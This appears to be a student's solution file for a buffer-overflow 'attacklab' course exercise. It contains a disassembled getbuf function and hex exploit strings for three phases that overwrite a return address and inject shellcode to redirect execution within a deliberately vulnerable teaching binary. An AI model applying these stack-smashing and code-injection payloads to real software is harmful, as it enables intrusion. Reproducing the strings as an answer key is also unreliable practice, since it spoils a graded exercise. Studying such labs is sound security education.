attacklab_level1

phase1:
00000000004017a8 <getbuf>:  
  4017a8:   48 83 ec 28             sub    $0x28,%rsp  
  4017ac:   48 89 e7                mov    %rsp,%rdi  
  4017af:   e8 8c 02 00 00          callq  401a40 <Gets>  
  4017b4:   b8 01 00 00 00          mov    $0x1,%eax  
  4017b9:   48 83 c4 28             add    $0x28,%rsp  
  4017bd:   c3                      retq     
  4017be:   90                      nop  
  4017bf:   90                      nop

13 13 13 13 13 13 13 13 13 13
13 13 13 13 13 13 13 13 13 13
13 13 13 13 13 13 13 13 13 13
13 13 13 13 13 13 13 13 13 13
c0 17 40 00 00 00 00 00

phase2:
48 c7 c7 fa 97 b9 59    mov    $0x59b997fa,%rdi  
68 ec 17 40 00          pushq  $0x4017ec  
c3                      retq

48 c7 c7 fa 97 b9 59 68 ec 17
40 00 c3 13 13 13 13 13 13 13
13 13 13 13 13 13 13 13 13 13
13 13 13 13 13 13 13 13 13 13
78 dc 61 55 00 00 00 00 

phase3:
48 c7 c7 a8 dc 61 55     mov    $0x5561dca8,%rdi  
68 fa 18 40 00           pushq  $0x4018fa  
c3                       retq

48 c7 c7 a8 dc 61 55
68 fa 18 40 00
c3
13 13 13 13 13 13 13 13
13 13 13 13 13 13 13 13
13 13 13 13 13 13 13 13 13 13 13
78 dc 61 55 00 00 00 00
35 39 62 39 39 37 66 61 00